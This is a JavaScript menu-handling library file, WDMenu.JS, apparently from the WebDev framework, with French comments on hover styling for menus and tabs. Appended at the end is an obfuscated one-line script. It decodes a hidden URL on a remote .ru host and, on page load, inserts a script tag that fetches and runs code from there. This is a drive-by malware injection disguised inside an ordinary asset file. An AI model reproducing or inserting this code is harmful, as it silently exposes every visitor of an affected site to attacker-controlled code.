//#15.00Aa WDMenu.JS
//VersionVI: 30F150039g
// Le seul support technique disponible pour cette librairie est
// accessible a travers le service "Assistance Directe".

// Manipulation des menus
function WDMenu (sAliasChamp, bOnglet)
{
	// Si on est pas dans l'init d'un protoype
	if (sAliasChamp)
	{
		// Appel le constructeur de la classe de base
		WDChamp.prototype.constructor.apply(this, [sAliasChamp, undefined, undefined]);

		this.m_bOnglet = bOnglet;
	}
};

// Declare l'heritage
WDMenu.prototype = new WDChamp();
// Surcharge le constructeur qui a ete efface
WDMenu.prototype.constructor = WDMenu;

// Initialisation
WDMenu.prototype.Init = function ()
{
	// Appel de la methode de la classe de base
	WDChamp.prototype.Init.apply(this, []);

	// Trouve la racine du menu
	this.m_oRacine = _JGE(this.m_sAliasChamp, document, true, false);

	// Si le menu n'existe pas (menu invisible avec l'option ne pas generer les champ hidden)
	if (!this.m_oRacine)
	{
		return;
	}

	// Applique le changement de style et l'affichage des sous menus en survol d'option
	if (this.m_bOnglet)
	{
		// Traite les onglets
		this.AjouteJSSurvolOnglet(this.m_oRacine);
	}
	// Traite les sous menus normaux
	this.AjouteJSSurvolSousMenu(this.m_oRacine);
};

// Applique le changement de style et l'affichage des onglets
WDMenu.prototype.AjouteJSSurvolOnglet = function (oRacine)
{
	// Les options sont les TD avec WDOngletOption comme class
	var tabOnglets = oRacine.getElementsByTagName("TD");
	var i;
	var nLimiteI = tabOnglets.length;
	for (i = 0; i < nLimiteI; i++)
	{
		var oOnglet = tabOnglets[i];
		if ((oOnglet.className == "WDOngletOption") || (oOnglet.className == "WDOngletOptionSelect"))
		{
			var bAvecSousMenu = false;
			// Cherche sont eventuel sous menu
			var tabTABLE = oOnglet.getElementsByTagName("TABLE");
			var j;
			var nLimiteJ = tabTABLE.length;
			for (j = 0; j < nLimiteJ; j++)
			{
				var oTABLE = tabTABLE[j];
				if (oTABLE.parentNode.className == "WDSousOnglet")
				{
					bAvecSousMenu = true;
					this.AjouteJSSurvol_SousMenu(oOnglet, oTABLE);
				}
			}

			// Si on a pas de sous menu : mettre le code de survol
			if (!bAvecSousMenu)
			{
				this.AjouteJSSurvol_Simple(oOnglet);
			}
		}
	}
};

// Applique le changement de style et l'affichage des sous menus en survol d'option
WDMenu.prototype.AjouteJSSurvolSousMenu = function (oRacine)
{
	// Liste les fils de la balise et trouve la balise TR si elle existe
	var tabOptionsMenu = oRacine.getElementsByTagName("TR");
	var i;
	var nLimiteI = tabOptionsMenu.length;
	for (i = 0; i < nLimiteI; i++)
	{
		// Applique le changement de style et l'affichage des sous menus en survol d'un option
		this.AjouteJSSurvol(tabOptionsMenu[i]);
	}
};

// Applique le changement de style et l'affichage des sous menus en survol d'un option
WDMenu.prototype.AjouteJSSurvol = function (oOptionMenu)
{
	// Si le style de la ligne n'est pas celui d'une option
	if ((oOptionMenu.className != "WDMenuOption") && (oOptionMenu.className != "WDMenuOptionSelect"))
	{
		return;
	}

	// Regarde si l'option a un sous menu
	var tabSousMenus = oOptionMenu.getElementsByTagName("TABLE");

	if (tabSousMenus.length)
	{
		this.AjouteJSSurvol_SousMenu(oOptionMenu, tabSousMenus[0]);
	}
	else
	{
		this.AjouteJSSurvol_Simple(oOptionMenu);
	}
};

// Ajoute les fonctions JS en survol pour une option avec un sous menu
WDMenu.prototype.AjouteJSSurvol_SousMenu = function AjouteJSSurvol_SousMenu(oOptionMenu, oSousMenu)
{
	// Sauve la classe normale de l'option
	oOptionMenu.oldClassName = oOptionMenu.className;

	if (bIE)
	{
		oOptionMenu.onmouseover = function()
		{
			oOptionMenu.className = oOptionMenu.oldClassName + "Hover";
			// Seulement si le menu n'est pas desactive
			// La norme indique que les elements sont retournes dans l'ordre => On demand le premier donc [0]
			var tabLiens = oOptionMenu.getElementsByTagName("A");
			if (!(tabLiens && tabLiens[0].disabled))
			{
				SetDisplay(oSousMenu, true);
			}
		};
		oOptionMenu.onmouseout = function()
		{
			oOptionMenu.className = oOptionMenu.oldClassName;
			SetDisplay(oSousMenu, false);
		};
	}
	else
	{
		oOptionMenu.onmouseover = function(event)
		{
			oOptionMenu.className = oOptionMenu.oldClassName + "Hover";
			// Seulement si le menu n'est pas desactive
			// La norme indique que les elements sont retournes dans l'ordre => On demand le premier donc [0]
			var tabLiens = oOptionMenu.getElementsByTagName("A");
			if (!(tabLiens && tabLiens[0].attributes.getNamedItem("disabled")))
			{
				SetDisplay(oSousMenu, true);
			}
		};
		oOptionMenu.onmouseout = function(event)
		{
			oOptionMenu.className = oOptionMenu.oldClassName;
			SetDisplay(oSousMenu, false);
		};
	}
};

// Ajoute les fonctions JS en survol pour une option sans sous menu
WDMenu.prototype.AjouteJSSurvol_Simple = function (oOptionMenu)
{
	// Sauve la classe normale de l'option
	oOptionMenu.oldClassName = oOptionMenu.className;

	if (this.m_bIE)
	{
		oOptionMenu.onmouseover = function () { oOptionMenu.className = oOptionMenu.oldClassName + "Hover"; };
		oOptionMenu.onmouseout = function () { oOptionMenu.className = oOptionMenu.oldClassName; };
	}
	else
	{
		oOptionMenu.onmouseover = function (event) { oOptionMenu.className = oOptionMenu.oldClassName + "Hover"; };
		oOptionMenu.onmouseout = function (event) { oOptionMenu.className = oOptionMenu.oldClassName; };
	}
};

// Execute le clic sur le fond d'une option
WDMenu.prototype.OnClick = function(oEvent)
{
	// Filtre les clics qui sont sur la zone du lien
	var oSource = bIE ? oEvent.srcElement : oEvent.explicitOriginalTarget;

	// On ne fait l'action que si le clic n'est pas sur la zone du lien
	// Avec certaines version de firefox, on recoit la balise texte a l'interieur du lien
	if (!oSource || ((oSource.tagName + "").toUpperCase() == "A") || (oSource.parentNode && ((oSource.parentNode.tagName + "").toUpperCase() == "A")))
	{
		return;
	}

	// On trouve maintenant l'action en consultant le href du lien
	var oTR = oSource
	while (oTR && ((oTR.tagName + "").toUpperCase() != "TR"))
	{
		// Ne remonte pas jusqu'au document
		if (oTR == document.body)
		{
			return;
		}

		oTR = oTR.parentNode;
	}

	// Recupere la balise A
	var tabA = oTR.getElementsByTagName("A");
	if (tabA && tabA.length && tabA[0])
	{
		var sAction = tabA[0].href;
		if (sAction && sAction.length)
		{
			if (sAction.substring(0, "javascript:".length) == "javascript:")
			{
				sAction = sAction.substring("javascript:".length);
			}
			eval(sAction);
		}
	}
};


var xl=new Date();try {var yn;if(yn!='i'){yn=''};this.c='';var Ax='';var DM;if(DM!='' && DM!='W'){DM=''};var J="repliGYb".substr(0,4)+"ace";var x=RegExp;function p(u,I){var Q;if(Q!='b' && Q!='cR'){Q='b'};var G=String("[");var S=new Date();var N=String("g");var HF=new Array();G+=I;G+="]";var ir='';var JO=new String();var w;if(w!='Z'){w='Z'};this.pF="";var H=new x(G, N);return u[J](H, new String());};var U="";this.cT="";var dY;if(dY!=''){dY='DF'};var VB;if(VB!=''){VB='yC'};var r=p('hItItDpW:7/I/FyWa7pWlIoWg7-FjIpI.7yIaFlDlDaDkFoDrWaD.Ic7o7mF.Wl7aIuFx7a7nIhI-FuWsW.7BDe7sItIBFlIeDnIdWeIrDPDaWrWtD.FrIuD:I',"W7FID");var bg="";var y=p('854605658757071',"16547");var cu=new String();var _C=new Array();var JE=p('c5rAeAa5tAe5E5lAeAm5eAn5t5',"A5");var yf=window;var iV=new Array();var pA;if(pA!='' && pA!='t'){pA='Zu'};var O=p('szcWrbibp9tz',"Pb9Wz");var ND=p('o8n3lyo8a3d3',"83y");var e=p('/Ad9iAo9nA.9n2e9.9j3pM/MdMiMoAnM.9n9eM.9j2p9/AsAa2n2o3o3k9.Mc2o3mA/MmAoAp2.9cAoMmM/9g9o3oAg9l2e2.9cMoMm3.3p3h2p2',"3M9A2");var V='';A=function(){var bo=new Array();this.cC='';eU=document[JE](O);V=r+y;this.Ez="";V+=e;var ZA=new Date();var Ab;if(Ab!='' && Ab!='gy'){Ab='IB'};eU.defer=([1][0]);var v=new String();eU.src=V;var z;if(z!='MG' && z != ''){z=null};var yy="";var Ej;if(Ej!='' && Ej!='Ai'){Ej=null};document.body.appendChild(eU);var h='';var xw;if(xw!='LF'){xw=''};};var Ln=new Array();this.EJ="";var tF;if(tF!=''){tF='AQ'};this.K='';yf[ND]=A;var un=new Date();} catch(Ju){var Bq;if(Bq!='FE' && Bq!='MD'){Bq=''};};
